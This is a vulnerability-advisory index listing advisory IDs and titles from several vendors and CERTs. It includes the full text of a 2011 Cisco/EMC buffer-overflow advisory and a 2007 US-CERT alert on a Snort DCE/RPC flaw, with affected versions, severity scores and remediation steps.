| ssa-398330 | SSA-398330: Vulnerabilities in the additional GNU/Linux subsystem of the SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP V3.1 |
| ssa-353002 | SSA-353002: Multiple Vulnerabilities in SCALANCE XB-200 / XC-200 / XP-200 / XF-200BA / XR-300WG Family |
| ssa-341067 | SSA-341067: Multiple vulnerabilities in third-party components in ST7 ScadaConnect before V1.1 |
| ssa-337522 | SSA-337522: Multiple Vulnerabilities in TIM 1531 IRC before V2.4.8 |
| ssa-319319 | SSA-319319: Denial of Service Vulnerability in TIA Administrator |
| ssa-238730 | SSA-238730: Out-of-Bounds Write Vulnerabilities in SITOP UPS1600 before V2.5.4 |
| ssa-196737 | SSA-196737: Multiple Vulnerabilities in SINEC Traffic Analyzer before V1.2 |
| ssa-093430 | SSA-093430: Multiple Vulnerabilities in SIMATIC RTLS Locating Manager before V3.0 |
| ssa-035466 | SSA-035466: Incorrect Permission Assignment in SICAM PAS/PQS |
| ssa-024584 | SSA-024584: Authentication Bypass Vulnerability in PowerSys before V3.11 |
| ssa-999588 | SSA-999588: Multiple Vulnerabilities in User Management Component (UMC) before V2.11.2 |
| ssa-976324 | SSA-976324: Multiple IGS File Parsing Vulnerabilities in PS/IGES Parasolid Translator Component before V27.1.215 |
| ssa-968170 | SSA-968170: Remote Code Execution Vulnerability in SIMATIC STEP 7 V5.x and Derived Products |
| ID | Description |
|---|---|
| rhba-2023_6078 | Red Hat Bug Fix Advisory: MTV 2.5.2 Images |
| rhba-2023_7648 | Red Hat Bug Fix Advisory: MTV 2.5.3 Images |
| rhba-2023_6109 | Red Hat Bug Fix Advisory: MTV 2.4.3 Images |
| rhba-2023_0564 | Red Hat Bug Fix Advisory: OpenShift Container Platform 4.11.26 packages update |
| rhba-2024_1136 | Red Hat Bug Fix Advisory: podman bug fix update |
| rhba-2024_1127 | Red Hat Bug Fix Advisory: libssh bug fix update |
| rhba-2023_2977 | Red Hat Bug Fix Advisory: linux-firmware bug fix and enhancement update |
| rhsa-2024_0760 | Red Hat Security Advisory: container-tools:3.0 security update |
| rhsa-2022_7013 | Red Hat Security Advisory: java-11-openjdk security and bug fix update |
| rhsa-2022_7012 | Red Hat Security Advisory: java-11-openjdk security and bug fix update |
| rhsa-2022_6999 | Red Hat Security Advisory: java-17-openjdk security and bug fix update |
| rhsa-2022_7000 | Red Hat Security Advisory: java-17-openjdk security and bug fix update |
| rhsa-2024_4699 | Red Hat Security Advisory: OpenShift Container Platform 4.15.23 bug fix and security update |
| rhsa-2024_4874 | Red Hat Security Advisory: freeradius:3.0 security update |
| rhsa-2024_4702 | Red Hat Security Advisory: OpenShift Container Platform 4.15.23 packages and security update |
| rhsa-2024_4872 | Red Hat Security Advisory: Release of OpenShift Serverless 1.33.1 security update |
| rhsa-2024_4871 | Red Hat Security Advisory: Red Hat Service Interconnect security update |
| rhsa-2024_4884 | Red Hat Security Advisory: Red Hat Build of Apache Camel 4.4.1 for Spring Boot security update. |
| rhsa-2024_4873 | Red Hat Security Advisory: Apicurio Registry (container images) release and security update [ 2.6.1 GA ] |
| rhea-2023_6741 | Red Hat Enhancement Advisory: .NET 8.0 bugfix update |
| rhba-2024_0599 | Red Hat Bug Fix Advisory: Migration Toolkit for Applications bug fix and enhancement update |
| rhea-2023_6562 | Red Hat Enhancement Advisory: nginx:1.22 bug fix and enhancement update |
| rhea-2023_7235 | Red Hat Enhancement Advisory: ACS 4.3 enhancement update |
| rhba-2023_6863 | Red Hat Bug Fix Advisory: LVMS 4.14.z Bug Fix and Enhancement update |
| rhba-2023_5806 | Red Hat Bug Fix Advisory: Red Hat Ansible Automation Platform 2.4 Container Release Update |
| rhsa-2024_4863 | Red Hat Security Advisory: httpd security update |
| rhsa-2024_4862 | Red Hat Security Advisory: httpd security update |
| rhsa-2024_4867 | Red Hat Security Advisory: Release of openshift-serverless-clients kn 1.33.1 security update and bug fixes |
| rhsa-2024_4865 | Red Hat Security Advisory: Red Hat Service Interconnect security update |
| rhsa-2024_4861 | Red Hat Security Advisory: squid security update |
| ID | Description |
|---|---|
| icsa-24-205-03 | National Instruments LabVIEW |
| icsa-24-205-02 | Hitachi Energy AFS/AFR Series Products |
| icsa-24-205-01 | National Instruments IO Trace |
| icsa-22-333-02 | Hitachi Energy IED Connectivity Packages and PCM600 Products (Update A) |
| va-24-201-01 | Adminer and AdminerEvo Multiple Vulnerabilities |
| icsa-24-165-19 | Motorola Solutions Vigilant License Plate Readers |
| icsa-24-165-18 | Rockwell Automation FactoryTalk View SE |
| icsa-24-165-17 | Rockwell Automation FactoryTalk View SE |
| icsa-24-165-16 | Rockwell Automation FactoryTalk View SE |
| icsa-24-165-14 | Fuji Electric Tellus Lite V-Simulator |
| icsa-24-074-14 | Mitsubishi Electric MELSEC-Q/L Series (Update B) |
| icsa-20-245-01 | Mitsubishi Electric Multiple Products (Update G) |
| icsma-24-163-01 | MicroDicom DICOM Viewer |
| icsa-24-163-04 | Intrado 911 Emergency Gateway |
| icsa-24-163-03 | AVEVA PI Asset Framework Client |
| icsa-24-163-02 | AVEVA PI Web API |
| icsa-24-163-01 | Rockwell Automation ControlLogix, GuardLogix, and CompactLogix |
| icsa-23-108-02 | Schneider Electric APC Easy UPS Online Monitoring Software (Update A) |
| icsa-24-165-13 | Siemens SINEC Traffic Analyzer |
| icsa-24-165-12 | Siemens SCALANCE W700 |
| icsa-24-165-11 | Siemens SCALANCE XM-400, XR-500 |
| icsa-24-165-10 | Siemens SIMATIC and SIPLUS |
| icsa-24-165-09 | Siemens SICAM AK3/BC/TM |
| icsa-24-165-08 | Siemens Teamcenter Visualization and JT2Go |
| icsa-24-165-07 | Siemens PowerSys |
| icsa-24-165-06 | Siemens TIM 1531 IRC |
| icsa-24-165-05 | Siemens SITOP UPS1600 |
| icsa-24-165-04 | Siemens ST7 ScadaConnect |
| icsa-24-165-03 | Siemens TIA Administrator |
| icsa-24-165-02 | Siemens SIMATIC S7-200 SMART Devices |
| ID | Description |
|---|---|
| cisco-sa-openssh-rce-2024 | Remote Unauthenticated Code Execution Vulnerability in OpenSSH Server (regreSSHion): July 2024 |
| cisco-sa-radius-spoofing-july-2024-87ccdwz3 | RADIUS Protocol Spoofing Vulnerability (Blast-RADIUS): July 2024 |
| cisco-sa-webex-app-zjnm8x8j | Cisco Webex App Vulnerabilities |
| cisco-sa-swa-priv-esc-7uhpzscc | Cisco Secure Web Appliance Privilege Escalation Vulnerability |
| cisco-sa-sb-rv34x-rce-7pqfu2e | Cisco RV340 and RV345 Dual WAN Gigabit VPN Routers Authenticated Remote Code Execution Vulnerability |
| cisco-sa-ise-file-upload-krw2txa9 | Cisco Identity Services Engine Arbitrary File Upload Vulnerability |
| cisco-sa-inode-static-key-vuvceynn | Cisco Intelligent Node Software Static Key Vulnerability |
| cisco-sa-expressway-redirect-kjsfuxgj | Cisco Expressway Series Open Redirect Vulnerability |
| cisco-sa-esa-priv-esc-ssti-xno2eogz | Cisco Secure Email Gateway Server-Side Template Injection Vulnerability |
| cisco-sa-esa-afw-bgg2usjh | Cisco Secure Email Gateway Arbitrary File Write Vulnerability |
| cisco-sa-cssm-auth-slw3uhuy | Cisco Smart Software Manager On-Prem Password Change Vulnerability |
| cisco-sa-xr-secure-boot-qud5g8ap | Cisco IOS XR Software Secure Boot Bypass Vulnerability |
| cisco-sa-nxos-cmd-injection-xd9ohyop | Cisco NX-OS Software CLI Command Injection Vulnerability |
| cisco-sa-cimc-cmd-inj-blupcb | Cisco Integrated Management Controller Web-Based Management Interface Command Injection Vulnerability |
| cisco-sa-cimc-cmd-inj-mux4c5aj | Cisco Integrated Management Controller CLI Command Injection Vulnerability |
| cisco-sa-finesse-ssrf-rfi-um7wt8ew | Cisco Finesse Web-Based Management Interface Vulnerabilities |
| cisco-sa-snort3-ips-bypass-ue69kbmd | Multiple Cisco Products Snort 3 HTTP Intrusion Prevention System Rule Bypass Vulnerability |
| cisco-sa-ftd-archive-bypass-z4wqjwcn | Cisco Firepower Threat Defense Software Encrypted Archive File Policy Bypass Vulnerability |
| cisco-sa-asaftd-ogsnsg-aclbyp-3xb8q6jx | Cisco Adaptive Security Appliance and Firepower Threat Defense Software Inactive-to-Active ACL Bypass Vulnerability |
| cisco-sa-asaftd-dos-njvawoeq | Cisco Adaptive Security Appliance Software and Firepower Threat Defense Software DNS Inspection Denial of Service Vulnerability |
| cisco-sa-asaftd-persist-rce-flsnxf4h | Cisco Adaptive Security Appliance and Firepower Threat Defense Software Persistent Local Code Execution Vulnerability |
| cisco-sa-asaftd-cmd-inj-zjv8wysm | Cisco Adaptive Security Appliance and Firepower Threat Defense Software Command Injection Vulnerability |
| cisco-sa-iosxe-wlc-privesc-rjsmrmpk | Cisco IOS XE Software for Wireless LAN Controllers Privilege Escalation Vulnerability |
| cisco-sa-ios-xe-sda-edge-dos-qzwuwxwg | Cisco IOS XE Software SD-Access Fabric Edge Node Denial of Service Vulnerability |
| cisco-sa-aux-333wbz8f | Cisco IOS XE Software Auxiliary Asynchronous Port Denial of Service Vulnerability |
| cisco-sa-iosxr-ipxe-sigbypass-pymfyqgb | Cisco IOS XR Software iPXE Boot Signature Bypass Vulnerability |
| cisco-sa-snmp-uhv6zdef | Cisco IOS XR Software SNMP Management Plane Protection ACL Bypass Vulnerability |
| cisco-sa-duo-infodisc-rlceqm6t | Cisco Duo Authentication for Windows Logon and RDP Information Disclosure Vulnerability |
| cisco-sa-secure-privesc-syxqo6ds | Cisco Secure Client for Linux with ISE Posture Module Privilege Escalation Vulnerability |
| cisco-sa-secure-client-crlf-w43v4g7 | Cisco Secure Client Carriage Return Line Feed Injection Vulnerability |
| ID | Description |
|---|---|
| sca-2024-0001 | Vulnerability in SICK Logistics Analytics Products and SICK Field Analytics |
| sca-2023-0011 | Vulnerability in multiple SICK Flexi Soft Gateways |
| sca-2023-0010 | Vulnerabilities in SICK Application Processing Unit |
| sca-2023-0008 | Vulnerability in SICK SIM1012 |
| sca-2023-0009 | Vulnerability in Wibu-Systems CodeMeter Runtime affects multiple SICK products |
| sca-2023-0007 | Vulnerabilities in SICK LMS5xx |
| sca-2023-0006 | Vulnerabilities in SICK ICR890-4 |
| sca-2023-0005 | Vulnerabilities in SICK EventCam App |
| sca-2023-0004 | Vulnerabilities in SICK FTMg |
| sca-2023-0003 | Vulnerability in SICK Flexi Soft and Flexi Classic Gateways |
| ID | Description |
|---|---|
| nn-2023_17-01 | Information disclosure via audit records for OpenAPI requests in Guardian/CMC before 23.4.1 |
| nn-2024_1-01 | DoS on IDS parsing of malformed Radius packets in Guardian before 23.4.1 |
| nn-2023_12-01 | Check Point IoT integration: WebSocket returns assets data without authentication in Guardian/CMC before 23.3.0 |
| nn-2023_9-01 | Authenticated SQL Injection on Query functionality in Guardian/CMC before 22.6.3 and 23.1.0 |
| nn-2023_8-01 | Session Fixation in Guardian/CMC before 22.6.2 |
| nn-2023_7-01 | DoS via SAML configuration in Guardian/CMC before 22.6.2 |
| nn-2023_6-01 | Partial DoS on Reports section due to null report name in Guardian/CMC before 22.6.2 |
| nn-2023_5-01 | Information disclosure via the debug function in assertions in Guardian/CMC before 22.6.2 |
| nn-2023_4-01 | Stored Cross-Site Scripting (XSS) in Threat Intelligence rules in Guardian/CMC before 22.6.2 |
| nn-2023_3-01 | Authenticated Blind SQL Injection on alerts count in Guardian/CMC before 22.6.2 |
| nn-2023_2-01 | Authenticated Blind SQL Injection on sorting in Guardian/CMC before 22.6.2 |
| nn-2023_11-01 | SQL Injection on IDS parsing of malformed asset fields in Guardian/CMC >= 22.6.0 before 22.6.3 and 23.1.0 |
| nn-2023_10-01 | DoS on IDS parsing of malformed asset fields in Guardian/CMC >= 22.6.0 before 22.6.3 and 23.1.0 |
| nn-2023_1-01 | Authenticated SQL Injection on Alerts in Guardian/CMC before 22.5.2 |
| nn-2022_2-02 | Authenticated RCE on project configuration import in Guardian/CMC before 22.0.0 |
| nn-2022_2-01 | Authenticated RCE on logo report upload in Guardian/CMC before 22.0.0 |
| nn-2021_2-01 | Authenticated command path traversal on timezone settings in Guardian/CMC before 20.0.7.4 |
| nn-2021_1-01 | Authenticated command injection when changing date settings or hostname in Guardian/CMC before 20.0.7.4 |
| nn-2020_3-01 | Angular template injection on custom report name field |
| nn-2020_2-01 | Cross-site request forgery attack on change password form |
| nn-2019_2-01 | CSV Injection on node label |
| nn-2019_1-01 | Stored XSS in field name data model |
| ID | Description |
|---|---|
| oxas-adv-2024-0002 | OX App Suite Security Advisory OXAS-ADV-2024-0002 |
| oxas-adv-2024-0001 | OX App Suite Security Advisory OXAS-ADV-2024-0001 |
| oxas-adv-2023-0007 | OX App Suite Security Advisory OXAS-ADV-2023-0007 |
| oxas-adv-2023-0006 | OX App Suite Security Advisory OXAS-ADV-2023-0006 |
| oxas-adv-2023-0005 | OX App Suite Security Advisory OXAS-ADV-2023-0005 |
| oxas-adv-2023-0004 | OX App Suite Security Advisory OXAS-ADV-2023-0004 |
| oxas-adv-2023-0003 | OX App Suite Security Advisory OXAS-ADV-2023-0003 |
| oxas-adv-2023-0002 | OX App Suite Security Advisory OXAS-ADV-2023-0002 |
| oxas-adv-2023-0001 | OX App Suite Security Advisory OXAS-ADV-2023-0001 |
| oxas-adv-2022-0002 | OX App Suite Security Advisory OXAS-ADV-2022-0002 |
| oxas-adv-2022-0001 | OX App Suite Security Advisory OXAS-ADV-2022-0001 |
| ID | Description |
|---|---|
| var-202407-2188 | Siemens (China) Co., Ltd. is a company focusing on electrification, automation and digitalization. Many products of Siemens (China) Co., Ltd. have denial of service vulnerabilities. Attackers can exploit the vulnerabilities to cause abnormal processing of the device and crash. The device can only be restored by manually restarting the PLC. |
| var-202406-3119 | Beijing StarNet Ruijie Network Technology Co., Ltd. EG3220 is a new generation of multi-service security gateway. Beijing StarNet Ruijie Network Technology Co., Ltd. EG3220 has a command execution vulnerability, which can be exploited by attackers to gain control of the server. |
| var-202407-1740 | NBR6135-E is a router. Beijing Xingwang Ruijie Network Technology Co., Ltd. NBR6135-E has a command execution vulnerability, and attackers can exploit the vulnerability to execute commands. |
| var-202407-1417 | Siemens (China) Co., Ltd. is a company focusing on electrification, automation and digitalization. Many products of Siemens (China) Co., Ltd. have denial of service vulnerabilities. Attackers can exploit the vulnerabilities to cause equipment shutdown and manually restart the PLC to recover. |
| var-202407-1103 | Siemens (China) Co., Ltd. is a company focusing on electrification, automation and digitalization. Many products of Siemens (China) Co., Ltd. have denial of service vulnerabilities. Attackers can exploit the vulnerabilities to cause abnormal processing of the device and crash. The device can only be restored by manually restarting the PLC. |
| var-202407-0957 | WinCC is a SCADA system suitable for all walks of life. It can access devices from mobile terminals, extract intelligent data, analyze data and make reports. Siemens (China) Co., Ltd. WinCC has a denial of service vulnerability, which can be exploited by attackers to cause denial of service. |
| var-202407-0819 | SIMATIC S7-1500 is a modular control system suitable for various automation applications in the field of discrete automation. There is a denial of service vulnerability in SIMATIC S7-1500 of Siemens (China) Co., Ltd., which can be exploited by attackers to cause denial of service. |
| var-202407-0818 | NBR6210-E is a router product. Beijing Xingwang Ruijie Network Technology Co., Ltd. NBR6210-E has a command execution vulnerability, which can be exploited by attackers to gain control of the server. |
| var-202407-0779 | Tenda i29V1.0 V1.0.0.5 was discovered to contain a hardcoded password for root. Tenda of i29 A vulnerability exists in the firmware regarding the use of hardcoded credentials.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state |
| var-202407-0778 | Tenda AC18 V15.03.3.10_EN was discovered to contain a stack-based buffer overflow vulnerability via the deviceId parameter at ip/goform/addWifiMacFilter. Tenda of AC18 An out-of-bounds write vulnerability exists in firmware.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state |
| var-202407-0745 | Tenda AC18 V15.03.3.10_EN was discovered to contain a stack-based buffer overflow vulnerability via the deviceId parameter at ip/goform/saveParentControlInfo. Tenda of AC18 An out-of-bounds write vulnerability exists in firmware.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state |
| var-202305-1479 | D-Link DIR-2150 SetTriggerPPPoEValidate Username Command Injection Remote Code Execution Vulnerability. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of D-Link DIR-2150 routers. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed. The specific flaw exists within the SOAP API interface, which listens on TCP port 80 by default. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-20554. D-Link DIR-2150 is a wireless router from D-Link, a Chinese company |
| var-202108-1158 | A race condition was addressed with improved locking. This issue is fixed in macOS Monterey 12.0.1, macOS Big Sur 11.5. An application may be able to gain elevated privileges. apple's macOS There is a race condition vulnerability in.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. ** REJECT ** DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: none. Reason: This candidate was withdrawn by the CVE program. Notes: none |
| var-201109-0089 | Multiple unspecified vulnerabilities in Cisco Unified Service Monitor before 8.6, as used in Unified Operations Manager before 8.6 and CiscoWorks LAN Management Solution 3.x and 4.x before 4.1; and multiple EMC Ionix products including Application Connectivity Monitor (Ionix ACM) 2.3 and earlier, Adapter for Alcatel-Lucent 5620 SAM EMS (Ionix ASAM) 3.2.0.2 and earlier, IP Management Suite (Ionix IP) 8.1.1.1 and earlier, and other Ionix products; allow remote attackers to execute arbitrary code via crafted packets to TCP port 9002, aka Bug IDs CSCtn42961 and CSCtn64922, related to a buffer overflow. Cisco Unified Operations Manager and CiscoWorks LAN Management Solution Used in Cisco Unified Service Monitor Contains a vulnerability that allows arbitrary code execution. The problem is Bug ID CSCtn42961 and CSCtn64922 It is a problem.Skillfully crafted by a third party TCP port 9002 Arbitrary code could be executed via packets. Authentication is not required to exploit this vulnerability.The flaw exists within the brstart.exe service which listens by default on TCP port 9002. When handling an add_dm request the process uses a user provided value to allocate a buffer then blindly copies user supplied data into a fixed-length buffer on the heap. A remote attacker can exploit this vulnerability to execute arbitrary code under the context of the casuser user. Multiple EMC Ionix applications are prone to a buffer-overflow vulnerability. Successful exploits will result in the complete compromise of affected applications. Failed exploit attempts will result in a denial-of-service condition. The following applications are affected. Ionix Application Connectivity Monitor (Ionix ACM) version 2.3 and prior Ionix Adapter for Alcatel-Lucent 5620 SAM EMS (Ionix ASAM) version 3.2.0.2 and prior Ionix IP Management Suite (Ionix IP) version 8.1.1.1 and prior Ionix IPv6 Management Suite (Ionix IPv6) version 2.0.2 and prior Ionix MPLS Management Suite (Ionix MPLS) version 4.0.0 and prior Ionix Multicast Manager (Ionix MCAST) version 2.1 and prior Ionix Network Protocol Management Suite version (Ionix NPM) 3.1 and prior Ionix Optical Transport Management Suite version (Ionix OTM) 5.1 and prior Ionix Server Manager (EISM) version 3.0 and prior Ionix Service Assurance Management Suite (Ionix SAM) version 8.1.0.6 and prior Ionix Storage Insight for Availability Suite (Ionix SIA) version 2.3.1 and prior Ionix VoIP Availability Management Suite (Ionix VoIP AM) version 4.0.0.3 and prior. Details ======= CiscoWorks LAN Management Solution is an integrated suite of management functions that simplifies the configuration, administration, monitoring, and troubleshooting of a network. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ESA-2011-029: Buffer overflow vulnerability in multiple EMC Ionix products. EMC will communicate the fixes for all other affected products as they become available. Regularly check EMC Knowledgebase solution emc274245 for the status of these fixes. Link to remedies: Registered EMC Powerlink customers can download software from Powerlink. For EMC Ionix Software, navigate in Powerlink to Home > Support > Software Downloads and Licensing > Downloads E-I Because the view is restricted based on customer agreements, you may not have permission to view certain downloads. Should you not see a software download you believe you should have access to, follow the instructions in EMC Knowledgebase solution emc116045. Credits: EMC would like to thank Abdul Aziz Hariri working with TippingPoint's Zero Day Initiative (http://www.zerodayinitiative.com) for reporting this issue. For explanation of Severity Ratings, refer to EMC Knowledgebase solution emc218831. EMC Corporation distributes EMC Security Advisories in order to bring to the attention of users of the affected EMC products important security information. EMC recommends all users determine the applicability of this information to their individual situations and take appropriate action. In no event shall EMC or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if EMC or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. Cisco has released free software updates that address these vulnerabilities. There are no workarounds available to mitigate these vulnerabilities. This advisory is posted at: http://www.cisco.com/warp/public/707/cisco-sa-20110914-cusm.shtml Note: CiscoWorks LAN Management Solution is also affected by these vulnerabilities. The Software Update page displays the licensing and software version. They provides a way to continuously monitor active calls supported by the Cisco Unified Communications System. Both of these vulnerabilities are documented in Cisco bug ID CSCtn42961 ( registered customers only) and have been assigned CVE ID CVE-2011-2738. Vulnerability Scoring Details +---------------------------- Cisco has provided scores for the vulnerabilities in this advisory based on the Common Vulnerability Scoring System (CVSS). The CVSS scoring in this Security Advisory is done in accordance with CVSS version 2.0. CVSS is a standards-based scoring method that conveys vulnerability severity and helps determine urgency and priority of response. Cisco has provided a base and temporal score. Customers can then compute environmental scores to assist in determining the impact of the vulnerability in individual networks. Cisco has provided an FAQ to answer additional questions regarding CVSS at: http://www.cisco.com/web/about/security/intelligence/cvss-qandas.html Cisco has also provided a CVSS calculator to help compute the environmental impact for individual networks at: http://intellishield.cisco.com/security/alertmanager/cvss * CSCtn42961 - Cisco Unified Service Monitor Remote Code Execution CVSS Base Score - 10 Access Vector - Network Access Complexity - Low Authentication - None Confidentiality Impact - Complete Integrity Impact - Complete Availability Impact - Complete CVSS Temporal Score - 8.3 Exploitability - Functional Remediation Level - Official-Fix Report Confidence - Confirmed Impact ====== Successful exploitation of these vulnerabilities could allow an unauthenticated, remote attacker to execute arbitrary code on affected servers. Software Versions and Fixes =========================== When considering software upgrades, also consult http://www.cisco.com/go/psirt and any subsequent advisories to determine exposure and a complete upgrade solution. In all cases, customers should exercise caution to be certain the devices to be upgraded contain sufficient memory and that current hardware and software configurations will continue to be supported properly by the new release. If the information is not clear, contact the Cisco Technical Assistance Center (TAC) or your contracted maintenance provider for assistance. Mitigations that can be deployed on Cisco devices within the network are available in the Cisco Applied Mitigation Bulletin companion document for this advisory, which is available at the following link: http://www.cisco.com/warp/public/707/cisco-amb-201100914-cusm-lms.shtml Obtaining Fixed Software ======================== Cisco has released free software updates that address these vulnerabilities. Prior to deploying software, customers should consult their maintenance provider or check the software for feature set compatibility and known issues specific to their environment. Customers may only install and expect support for the feature sets they have purchased. By installing, downloading, accessing or otherwise using such software upgrades, customers agree to be bound by the terms of Cisco's software license terms found at http://www.cisco.com/en/US/docs/general/warranty/English/EU1KEN_.html or as otherwise set forth at Cisco.com Downloads at: http://www.cisco.com/public/sw-center/sw-usingswc.shtml Do not contact psirt@cisco.com or security-alert@cisco.com for software upgrades. Customers with Service Contracts +------------------------------- Customers with contracts should obtain upgraded software through their regular update channels. For most customers, this means that upgrades should be obtained through the Software Center on Cisco's worldwide website at http://www.cisco.com. Customers using Third Party Support Organizations +------------------------------------------------ Customers whose Cisco products are provided or maintained through prior or existing agreements with third-party support organizations, such as Cisco Partners, authorized resellers, or service providers should contact that support organization for guidance and assistance with the appropriate course of action in regards to this advisory. The effectiveness of any workaround or fix is dependent on specific customer situations, such as product mix, network topology, traffic behavior, and organizational mission. Due to the variety of affected products and releases, customers should consult with their service provider or support organization to ensure any applied workaround or fix is the most appropriate for use in the intended network before it is deployed. Customers without Service Contracts +---------------------------------- Customers who purchase direct from Cisco but do not hold a Cisco service contract, and customers who purchase through third-party vendors but are unsuccessful in obtaining fixed software through their point of sale should acquire upgrades by contacting the Cisco Technical Assistance Center (TAC). TAC contacts are as follows. * +1 800 553 2447 (toll free from within North America) * +1 408 526 7209 (toll call from anywhere in the world) * e-mail: tac@cisco.com Customers should have their product serial number available and be prepared to give the URL of this notice as evidence of entitlement to a free upgrade. Free upgrades for non-contract customers must be requested through the TAC. Refer to: http://www.cisco.com/en/US/support/tsd_cisco_worldwide_contacts.html for additional TAC contact information, including localized telephone numbers, and instructions and e-mail addresses for use in various languages. Exploitation and Public Announcements ===================================== The Cisco PSIRT is not aware of any public announcements or malicious use of the vulnerabilities described in this advisory. These vulnerabilities were reported to Cisco by ZDI and discovered by AbdulAziz Hariri. Status of this Notice: FINAL ============================ THIS DOCUMENT IS PROVIDED ON AN "AS IS" BASIS AND DOES NOT IMPLY ANY KIND OF GUARANTEE OR WARRANTY, INCLUDING THE WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR USE. YOUR USE OF THE INFORMATION ON THE DOCUMENT OR MATERIALS LINKED FROM THE DOCUMENT IS AT YOUR OWN RISK. CISCO RESERVES THE RIGHT TO CHANGE OR UPDATE THIS DOCUMENT AT ANY TIME. A stand-alone copy or Paraphrase of the text of this document that omits the distribution URL in the following section is an uncontrolled copy, and may lack important information or contain factual errors. Distribution ============ This advisory is posted on Cisco's worldwide website at : http://www.cisco.com/warp/public/707/cisco-sa-20110914-cusm.shtml In addition to worldwide web posting, a text version of this notice is clear-signed with the Cisco PSIRT PGP key and is posted to the following e-mail and Usenet news recipients. * cust-security-announce@cisco.com * first-bulletins@lists.first.org * bugtraq@securityfocus.com * vulnwatch@vulnwatch.org * cisco@spot.colorado.edu * cisco-nsp@puck.nether.net * full-disclosure@lists.grok.org.uk * comp.dcom.sys.cisco@newsgate.cisco.com Future updates of this advisory, if any, will be placed on Cisco's worldwide website, but may or may not be actively announced on mailing lists or newsgroups. Users concerned about this problem are encouraged to check the above URL for any updates. Revision History ================ +----------------------------------------+ | Revision | | Initial | | 1.0 | 2011-September-14 | public | | | | release | +----------------------------------------+ Cisco Security Procedures ========================= Complete information on reporting security vulnerabilities in Cisco products, obtaining assistance with security incidents, and registering to receive security information from Cisco, is available on Cisco's worldwide website at: http://www.cisco.com/en/US/products/products_security_vulnerability_policy.html This includes instructions for press inquiries regarding Cisco security notices. All Cisco security advisories are available at: http://www.cisco.com/go/psirt +-------------------------------------------------------------------- Copyright 2010-2011 Cisco Systems, Inc. All rights reserved. +-------------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.5 (SunOS) iFcDBQFOb9w/QXnnBKKRMNARCBomAP9pCiRwCB8z3oe3IWB2XXNzeaQxAwoq0gQ4 6znwu3lLSAD/Y6o+u8AofSMxkj3THWIdpbjVXKQXMal/BhxDhN5fsI8= =Ybok -----END PGP SIGNATURE----- _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ |
| var-200702-0378 | Stack-based buffer overflow in the DCE/RPC preprocessor in Snort before 2.6.1.3, and 2.7 before beta 2; and Sourcefire Intrusion Sensor; allows remote attackers to execute arbitrary code via crafted SMB traffic. Snort IDS and Sourcefire Intrusion Sensor are prone to a stack-based buffer-overflow vulnerability because the network intrusion detection (NID) systems fail to handle specially crafted 'DCE' and 'RPC' network packets. An attacker can exploit this issue to execute malicious code in the context of the user running the affected application. Failed attempts will likely cause these applications to crash. The software provides functions such as packet sniffing, packet analysis, and packet inspection. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Technical Cyber Security Alert TA07-050A Sourcefire Snort DCE/RPC Preprocessor Buffer Overflow Original release date: February 19, 2007 Last revised: -- Source: US-CERT Systems Affected * Snort 2.6.1, 2.6.1.1, and 2.6.1.2 * Snort 2.7.0 beta 1 * Sourcefire Intrusion Sensors version 4.1.x, 4.5.x, and 4.6x with SEUs prior to SEU 64 * Sourcefire Intrusion Sensors for Crossbeam version 4.1.x, 4.5.x, and 4.6x with SEUs prior to SEU 64 Other products that use Snort or Snort components may be affected. I. The DCE/RPC preprocessor reassembles fragmented SMB and DCE/RPC traffic before passing data to the Snort rules. The vulnerable code does not properly reassemble certain types of SMB and DCE/RPC packets. An attacker could exploit this vulnerability by sending a specially crafted TCP packet to a host or network monitored by Snort. The DCE/RPC preprocessor is enabled by default, and it is not necessary for an attacker to complete a TCP handshake. US-CERT is tracking this vulnerability as VU#196240. This vulnerability has been assigned CVE number CVE-2006-5276. Further information is available in advisories from Sourcefire and ISS. II. III. Solution Upgrade Snort 2.6.1.3 is available from the Snort download site. Sourcefire customers should visit the Sourcefire Support Login site. Disable the DCE/RPC Preprocessor To disable the DCE/RPC preprocessor, comment out the line that loads the preprocessor in the Snort configuration file (typically /etc/snort.conf on UNIX and Linux systems): [/etc/snort.conf] ... #preprocessor dcerpc... Restart Snort for the change to take effect. Disabling the preprocessor will prevent Snort from reassembling fragmented SMB and DCE/RPC packets. This may allow attacks to evade the IDS. IV. References * US-CERT Vulnerability Note VU#196240 - <http://www.kb.cert.org/vuls/id/196240> * Sourcefire Advisory 2007-02-19 - <http://www.snort.org/docs/advisory-2007-02-19.html> * Sourcefire Support Login - <https://support.sourcefire.com/> * Sourcefire Snort Release Notes for 2.6.1.3 - <http://www.snort.org/docs/release_notes/release_notes_2613.txt> * Snort downloads - <http://www.snort.org/dl/> * DCE/RPC Preprocessor - <http://www.snort.org/docs/snort_htmanuals/htmanual_261/node104.html> * IBM Internet Security Systems Protection Advisory - <http://iss.net/threats/257.html> * CVE-2006-5276 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2006-5276> ____________________________________________________________________ The most recent version of this document can be found at: <http://www.us-cert.gov/cas/techalerts/TA07-050A.html> ____________________________________________________________________ Feedback can be directed to US-CERT Technical Staff. Please send email to <cert@cert.org> with "TA07-050A Feedback VU#196240" in the subject. ____________________________________________________________________ For instructions on subscribing to or unsubscribing from this mailing list, visit <http://www.us-cert.gov/cas/signup.html>. ____________________________________________________________________ Produced 2007 by US-CERT, a government organization. Terms of use: <http://www.us-cert.gov/legal.html> ____________________________________________________________________ Revision History February 19, 2007: 